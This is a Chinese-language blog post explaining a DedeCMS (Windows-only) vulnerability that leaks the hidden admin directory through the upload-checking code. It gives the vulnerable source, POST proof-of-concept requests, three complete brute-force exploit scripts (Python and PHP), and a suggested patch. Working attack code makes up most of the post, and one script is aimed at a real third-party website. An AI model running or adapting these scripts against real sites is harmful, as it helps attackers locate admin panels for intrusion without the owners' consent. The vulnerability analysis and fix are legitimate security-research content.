DedeCMS找后台目录漏洞
参考文章
https://xianzhi.aliyun.com/forum/topic/2064
近期,学习的先知社区《解决DEDECMS历史难题--找后台目录》的内容,记录一下。
利用限制
仅针对windows系统
DedeCMS目前下载的最新版的还存在此问题。(DedeCMS-V5.7-UTF8-SP2.tar.gz)在网盘里找相应名字的就行
漏洞成因
首先看核心文件include/common.inc.php 大概148行左右,这一块是对上传文件的安全处理。
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
跟进uploadsafe.inc.php文件,25行
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
if(empty(${$_key.'_size'}))
{
${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
//问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。
但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置name为0就可以绕过。
因为这块第一个if判断$_key.'_name'是否为空,为空就不往下进行判断,所以给name赋值0就可以绕过了。
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。
当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !
最后总结一下:
$$_key这个变量可控是关键,此漏洞就是利用了往这个变量里传入一张已知存在于后台目录的图片,通过不断爆破路径检测页面是否返回'Upload filetype not allow !'来判断路径是否正确,最终确定后台路径是什么。
构造POC
http://localhost/dedecms/tags.php
POST
dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例
上面是作者的原POC,有个小问题需要注意一下,POST的是tags.php 属于根目录下的文件,在根目录下没有tags.php的情况下,需要找一个包含common.inc.php的文件,在这种情况下只能找二级目录下的文件,例如:/plus /include
那么如果根目录下不存在tags.php,POC的POST内同应该这样写
http://localhost/dedecms/plus/diy.php
POST
dopost=save&_FILES[b4dboy][tmp_name]=./../de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
形成EXP
#!/usr/bin/env python
'''/*
* author = Mochazz
* team = 红日安全团队
* env = pyton3
*
*/
'''
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
# url = "http://192.168.1.9/tags.php"
url = "http://www.xmspower.com/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz][size]" : 0,
"_FILES[mochazz][type]" : "image/gif"
} for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" print("后台地址为:",back_dir)
python版exp
<?php
$domain='http://localhost/dedecms/';
$url=$domain.'/index.php';
function post($url, $data, $cookie = '') {
$options = array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_POST => true,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_COOKIE => $cookie,
CURLOPT_POSTFIELDS => $data,
);
$ch = curl_init($url);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$testlen=25;
$str=range('a','z');
$number=range(0,9,1);
$dic = array_merge($str, $number);
$n=true;
$nn=true;
$path='';
while($n){
foreach($dic as $v){
foreach($dic as $vv){
#echo $v.$vv .'----';
$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
$result=post($url,$post_data);
if(strpos($result,'Upload filetype not allow !') === false){
$path=$v.$vv;$n=false;break 2;
}
}
}
}
while($nn){
foreach($dic as $vvv){
$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
$result=post($url,$post_data);
if(strpos($result,'Upload filetype not allow !') === false){
$path.=$vvv;
echo $path . PHP_EOL;
$giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
if(@file_get_contents($giturl)){
echo $domain.'/'.$path.'/';
$nn=false;break 2;
}
}
}
}
?>
PHP版exp1
<?php
/*
dedecms 后台地址爆破工具
使用程序时,必须指定dedecms的版本,例如:5.6
当你不确定dedecms版本时,请将5.6和5.7两个版本都尝试一遍,总有一个适合您!
Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/
*/ if(!isset($argv[1]) or !isset($argv[2])) {
exit("error!\r\nExample: php.exe dedecms-exp.php 5.6 http://127.0.0.1/");
} $domain = $argv[2];
$url = $domain . '/tags.php';
$version = $argv[1]; $path = my_func($url); if($path) {
while(($path = my_func($url, $path))) {
echo strtolower($path) . "\r\n";
}
}
else {
for($i = 48; $i <= 90; $i++) {
if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
$path = my_func($url, chr($i));
while($path) {
echo strtolower($path) . "\r\n";
$path = my_func($url, $path);
}
}
}
} exit(); function my_func($url, $path = '') {
$ch = curl_init($url);
$i = 48;
global $version; while($i <= 90) {
if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
if($version != '5.7') {
/* v5.6版本及其以下 */
$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
}
else {
/* v5.7版本 */
$admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
} $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif'; $options = array(
CURLOPT_USERAGENT => 'Firefox/58.0',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
); curl_setopt_array($ch, $options); $response = curl_exec($ch); if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
$path = $path . chr($i);
return $path;
}
} $i++;
} curl_close($ch);
return false;
} ?>
PHP版exp2
修复方案
这个是我自己提供的可能不权威,
主要思路就是把.和/过滤掉,这样就读取不了文件了。
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$$_key = preg_replace('#[\/\.]#i', '', $$_key);
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
DedeCMS找后台目录漏洞的更多相关文章
- 读DEDECMS找后台目录有感
本文作者:红日安全团队——Mochazz 早上看了先知论坛的这篇文章:解决DEDECMS历史难题–找后台目录 不得不说作者思路确实巧妙,作者巧妙的利用了Windows FindFirstFile和织梦 ...
- 织梦DEDECMS网站后台安全检测提示 加一个开关
1.进入后台后,点击 系统->系统基本参数->添加变量: 变量名称:cfg_safecheck_switch 变量值:N 变量类型:布尔(Y/N) 参数说明:启用安全监测系统: 2.找到系 ...
- DEDECMS爆严重安全漏洞
简要描述: 众所周知,因使用简单.客户群多,织梦CMS一直被爆出许多漏洞.“DEDECMS爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁动态.” 详细说明: http://www.xx.c ...
- 16.Tomcat弱口令 && 后台getshell漏洞
Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...
- dedecms为后台自定义菜单的完整方法
dedecms为后台自定义菜单的完整方法 品味人生 dedeCMS 围观7330次 18 条评论 编辑日期:2014-06-14 字体:大 中 小 最近在给客户定制一个企业网站,客户要求使用ded ...
- dedecms在后台替换文章标题、内容、摘要、关键字
dedecms在后台替换文章标题.内容.摘要.关键字所在的字段为: 后台替换文章内容 数据表:dede_addonarticle 字段:body 后台替换文章摘要内容 数据表:dede_archive ...
- php Laravel 框架之建立后台目录
今天研究了在Laravel框架中的控制器中加入后台的目录.发现了一些小的规律,拿来和大家分享一下吧. 通常情况下,我们是直接在controllers目录中加入我们的控制器,然后再routes.php ...
- 织梦dedecms 去掉后台登陆验证码的方法
那么有什么办法解决呢? 那么现在就给大家解决织梦去掉后台登陆验证码. 这里面分两种版本 一个是织梦5.6的程序 那么织梦5.6程序的解决办法是: 在织梦DedeCms5.6版本可以通过下面路径对验 ...
- 帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析
帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析 一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单 ...
随机推荐
- JS实现选择排序
function selectSort(arr){ var len=arr.length; var temp; for(var i=0;i<len-1;i++){ for(var j=i+1;j ...
- Redash 安装部署
介绍 是一款开源的BI工具,提供了基于web的数据库查询和数据可视化功能. 官网:https://redash.io/ GitHub:https://github.com/getredash/reda ...
- 1053. Path of Equal Weight (30)
Given a non-empty tree with root R, and with weight Wi assigned to each tree node Ti. The weight of ...
- shell关于文件操作
一.如何将一个十进制的整数用2进制表示出来? echo "obase=2;50" | bc 二.Linux下经常需要删除空白行,grep,sed,awk,tr等工具均可实现 gre ...
- 新硬盘挂载-fdisk+mount案例实操
新硬盘挂载-fdisk+mount案例实操 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 现在很多服务器都支持热插拔了,当有新的硬盘插入到服务器上我们需要将其分区,格式化,然后挂载 ...
- C++ 文件保存
文件保存: #include <sstream>#include <fstream>using namespace std; /*save to path ./record ...
- 如何优雅地使用Sublime Text3
此文非原创,出处见文章结尾. 一.Sublime Text 3插件安装 优雅使用Sublime Text,插件则是不可缺少的存在:而插件的备份就显得非常的重要(譬如:各平台同步:更换系统/电脑,迅速使 ...
- Hadoop记录-hadoop集群常见问题汇总
[问题1]HBase Shell:ERROR: org.apache.hadoop.hbase.IPc.ServerNotRunningYetException: Server is not runn ...
- C#设计模式(14)——模板方法模式
1.模板方法模式介绍 提到模板我们经常会想到简历模板/PPT模板等,以简历模板为例,不同的人可以使用一样的简历模板,在填充内容时根据自己的名字/工作经历等填写自己的内容,从而形成不同的简历.在OO中模 ...
- 解决mysql:Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111)
(一)出现问题的的报错信息 Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111) ( ...